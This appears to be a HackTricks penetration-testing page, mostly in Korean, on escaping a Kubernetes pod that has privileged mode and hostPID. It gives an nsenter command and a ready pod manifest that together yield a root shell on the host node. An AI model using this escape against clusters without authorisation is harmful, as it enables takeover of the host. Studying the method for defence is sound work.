Pod Escape Privileges

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

특권 및 hostPID

이러한 권한을 가지면 호스트 프로세스에 액세스할 수 있으며 호스트 프로세스 중 하나의 네임스페이스로 진입할 충분한 권한을 갖게 됩니다. 특권이 필요하지 않을 수도 있고, 특정 기능 및 다른 잠재적인 방어책 우회(예: apparmor 및/또는 seccomp)이 필요할 수 있음을 유의하세요.

다음과 같은 것을 실행하는 것만으로도 포드를 탈출할 수 있습니다:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

구성 예시:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated